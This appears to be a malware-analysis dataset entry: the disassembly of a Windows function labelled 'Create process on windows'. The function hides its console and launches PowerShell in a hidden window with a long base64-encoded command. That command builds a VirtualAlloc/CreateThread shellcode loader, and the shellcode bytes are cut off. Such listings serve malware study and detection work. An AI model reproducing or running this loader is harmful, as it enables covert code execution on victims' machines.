Function at 0x140001450
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__window_hidden__EncodedCommand_JAA2AFUAQgBnACAAPQAgACcAJABQAEwATgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABQAEwATgAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkAGQALAAwAHgAYwAzACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeABiADgALAAwAHgAMgAwACwAMAB4AGIAMgAsADAAeAAzADIALAAwAHgAYwAzACwAMAB4ADUAYgAsADAAeAAzADMALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA2ADMALAAwAHgAMwAxACwAMAB4ADQAMwAsADAAeAAxADcALAAwAHgAOAAzACwAMAB4AGUAYgAsADAAeABmAGMALAAwAHgAMAAzACwAMAB4ADYAMwAsADAAeABhADEALAAwAHgAZAAwACwAMAB4ADMANgAsADAAeAA5AGYALAAwAHgAMgBkACwAMAB4ADkAYgAsADAAeABiADkALAAwAHgANQBmACwAMAB4AGEAZQAsADAAeABjADQALAAwAHgAOAA4ACwAMAB4ADgAZAAsADAAeAAyADcALAAwAHgAZQAxACwAMAB4ADgAZgAsADAAeABiAGEALAAwAHgANgBhACwAMAB4AGQAYQAsADAAeABjADQALAAwAHgAZQBlACwAMAB4ADgANgAsADAAeAA5ADEALAAwAHgAOAA5ACwAMAB4ADEAYQAsADAAeAA5ADgALAAwAHgAMQAyACwAMAB4ADYANwAsADAAeAAwADQALAAwAHgAMgBkACwAMAB4ADIAZQAsADAAeAA1ADAALAAwAHgANwA5ACwAMAB4AGMAZQAsADAAeABmAGUALAAwAHgANgAwACwAMAB4AGQANQAsADAAeAAwAGMALAAwAHgANgAwACwAMAB4ADEAZAAsADAAeAAyADcALAAwAHgANAAxACwAMAB4ADQAMgAsADAAeAAxAGMALAAwAHgAZQA4ACwAMAB4ADkANAAsADAAeAA4ADMALAAwAHgANQA5ACwAMAB4AGIAZgAsADAAeABkADMALAAwAHgANgBjACwAMAB4ADMANwAsADAAeABiADQALAAwAHgANABlACwAMAB4ADYAMwAsADAAeABlAGYALAAwAHgANAAxACwAMAB4ADIAYwAsADAAeABiAGYALAAwAHgAMABlACwAMAB4ADgANQAsADAAeAAzAGEALAAwAHgAZgBmACwAMAB4ADYAOAAsADAAeABhADAALAAwAHgAZgBkACwAMAB4ADcANAAsADAAeABjADUALAAwAHgAYQBiACwAMAB4ADIAZAAsADAAeABmAGYALAAwAHgAOABkACwAMAB4ADgAYgAsADAAeAA0ADYALAAwAHgANAA4ACwAMAB4ADMANgAsADAAeAA5AGIALAAwAHgANQA5ACwAMAB4ADkAYQAsADAAeABjADMALAAwAHgAZAAyACwAMAB4ADIAZQAsADAAeAAyADAALAAwAHgAZgBkACwAMAB4ADEAYgAsADAAeAA4ADcALAAwAHgAZAAzACwAMAB4AGMAOQAsADAAeAA2ADgALAAwAHgAMQA5ACwAMAB4ADMAMgAsADAAeAAwADAALAAwAHgAYQBlACwAMAB4AGQAYgAsADAAeAA3ADUALAAwAHgANgBlACwAMAB4ADgAMgAsADAAeABkAGQALAAwAHgANABlACwAMAB4ADQAOQAsADAAeAAzAGEALAAwAHgAYQA4ACwAMAB4AGEANAAsADAAeABhADkALAAwAHgAYwA3ACwAMAB4AGEAYgAsADAAeAA3AGUALAAwAHgAZAAzACwAMAB4ADEAMwAsADAAeAAzADkALAAwAHgANgAxACwAMAB4ADcAMwAsADAAeABkADAALAAwAHgAOQA5ACwAMAB4ADQANQAsADAAeAA4ADUALAAwAHgAMwA1ACwAMAB4ADcAZgAsADAAeAAwAGQALAAwAHgAOAA5ACwAMAB4AGYAMgAsADAAeAAwAGIALAAwAHgANAA5ACwAMAB4ADgAZQAsADAAeAAwADUALAAwAHgAZABmACwAMAB4AGUAMQAsADAAeABhAGEALAAwAHgAOABlACwAMAB4AGQAZQAsADAAeAAyADUALAAwAHgAMwBiACwAMAB4AGQANAAsADAAeABjADQALAAwAHgAZQAxACwAMAB4ADYANwAsADAAeAA4AGYALAAwAHgANgA1ACwAMAB4AGIAMwAsADAAeABjAGQALAAwAHgANwBlACwAMAB4ADkAOQAsADAAeABhADMALAAwAHgAYQBhACwAMAB4AGQAZgAsADAAeAAzAGYALAAwAHgAYQBmACwAMAB4ADUAOQAsADAAeAAzADYALAAwAHgAMwBmACwAMAB4ADUAMAAsADAAeABhADIALAAwAHgAMwA3ACwAMAB4ADEAZAAsADAAeABjADcALAAwAHgAMwAzACwAMAB4AGEAMgAsADAAeABlAGEALAAwAHgAMQA3ACwAMAB4AGEANAAsADAAeAA1AGIALAAwAHgANwBhACwAMAB4ADcANgAsADAAeAA1AGQALAAwAHgAZgA3ACwAMAB4ADEANAAsADAAeABjAGEALAAwAHgAZQBhACwAMAB4AGQAMQAsAD
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sym.exit
nop
nop
nop
nop
nop
nop
nop